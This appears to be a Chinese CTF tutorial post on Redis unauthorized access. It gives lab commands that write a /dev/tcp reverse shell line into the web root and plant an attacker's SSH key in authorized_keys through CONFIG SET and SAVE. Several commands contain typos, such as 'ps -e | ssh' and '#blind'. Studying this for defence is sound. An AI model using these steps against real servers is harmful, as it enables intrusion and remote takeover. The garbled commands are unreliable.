CTF - WEB redis的简介与利用

        Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

        Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。              --百度

        Redis有着更为复杂的数据结构并且提供对他们的原子性操作,这是一个不同于其他数据库的进化路径。Redis的数据类型都是基于基本数据结构的同时对程序员透明,无需进行额外的抽象。

        Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。在内存数据库方面的另一个优点是,相比在磁盘上相同的复杂的数据结构,在内存中操作起来非常简单,这样Redis可以做很多内部复杂性很强的事情。同时,在磁盘格式方面他们是紧凑的以追加的方式产生的,因为他们并不需要进行随机访问。      --菜鸟教程

 

大概的意思就是这是一个数据库,存储在内存中,可以与磁盘交互,并且支持远程连接。Redis因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

 

        Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。

 

漏洞可能产生的危害:

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据

  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件

  • 如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器

 

redis的安装这里就不多说了,以后可能会补充上来,下面是一些资料

    安装方式见:https://www.cnblogs.com/limit1/p/9045183.html

    配置文件参数说明:https://www.cnblogs.com/qq78292959/archive/2013/09/21/3331032.html

    其详细配置过程可以参见:https://www.cnblogs.com/kreo/p/4423362.html

 

需要了解的一些点:

去掉ip绑定,允许除本地外的主机远程登录redis,编辑etc中的redis配置文件redis.conf

python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
------
#blind 127.0.0.1

 默认Redis会把快照文件存储为当前目录下一个名为dump.rdb的文件。

dbfilename dump.rdb

 关闭保护模式,允许远程连接redis服务:

protected-mode no

使用当前redis.conf配置启动redis服务

root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf
//注意目录 不在这个文件下面 就要补全相应的目录

二、安装ssh服务

使用systemctl start sshd命令启动自带的ssh服务,没有的话就需要安装了

尝试service sshd start命令,看有没有安装ssh:

fauked to start sshd.service: Unit sshd.service not found

如果出现上述结果,表示没有安装ssh服务,安装方法如下:

sudo apt-get install openssh-server

再次运行以下命令确认ssh服务是否开启:

ps -e  | ssh
最后显示:3228 ? 00:00:00 sshd说明ssh服务器已启用

三.实验开始

首先需要做的就是,ipconfig查一下我们redis服务器的ip。ipconfig一下就可以

CTF - WEB redis的简介与利用_第1张图片

那么我们使用另外一个机器登陆一下

redis基本命令 连接redis:

redis-cli -h 192.168.93.128
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.93.128:6379>info

将变量x的值设为test:

192.168.93.128:6379>set x "test"

是把整个redis数据库删除,一般情况下不要用!!!

192.168.93.128:6379>flushall

查看所有键:

192.168.93.128:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

192.168.93.128:6379>CONFIG GET dir
192.168.93.128:6379>CONFIG GET dbfilename

保存数据到备份目录

192.168.93.128:6379>save

四 常见入侵方法

  1. 清空数据库,并使用config get dir命令得到redis备份的路径
  2. 更改备份目录为我们的目标目录
  3. 创建数据库的兼键值对,将数据库中的数据写入文件(也就是保存我们的命令,数据)
  4. 恢复相关目录等,而后就可以操作我们的文件了

1.创建反弹shellde的方法

root@kali:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> set x "bash -i >& /dev/tcp/192.168.93.170/7999 0>&1\n"
OK
192.168.93.128:6379> config set dir /var/www/html/
OK
192.168.93.128:6379> config set dbfilename ncshell
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit

//nc监听端口已经反弹回来shell
nc -lvnp 7999

2 ssh免密连接

  1. 思路大体为创建一个本地的公私钥,密码为空
  2. 将公钥文件写入到服务器ssh目录
  3. 免密登录

创建ssh公私钥

ssh-keygen -t rsa  //会将结果在默认目录

CTF - WEB redis的简介与利用_第2张图片

进入.ssh目录:cd .ssh/,将生成的公钥保存到hack.txt

root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > hack.txt

将hack.txt写入redis

root@kali:~/.ssh# cat hack.txt | redis-cli -h 192.168.152.133 -x set crack
OK
//当然我们也可以先连接 然后读取文件再写入
//注意数据库不为空的话 需要清空flushall

//接下来就是更改备份目录,将我们的文件写入到ssh目录下

//2. 创建ssh私钥连接
root@kali:~/Desktop/test# redis-cli -h 192.168.93.128
192.168.93.128:6379> config get dir
1) "dir"
2) "/home/python/.ssh"
//更改redis备份路径为ssh公钥存放目录 这个就是看情况了
//一般默认为/root/.ssh,这没有登录root用户,那么默认路径是/home/用户名/.ssh,所以不需要更改)
//设置上传公钥的备份文件名字为authorized_keys
192.168.93.128:6379> config set dbfilename authorized_keys
OK
192.168.93.128:6379> save
OK
192.168.93.128:6379> exit

直接免密登录

root@kali:~/.ssh# ssh -i id_rsa [email protected]

可以成功登录了

CTF - WEB redis的简介与利用_第3张图片

 

 

 

 

 

你可能感兴趣的:(理论知识,CTF,网络安全,CTF)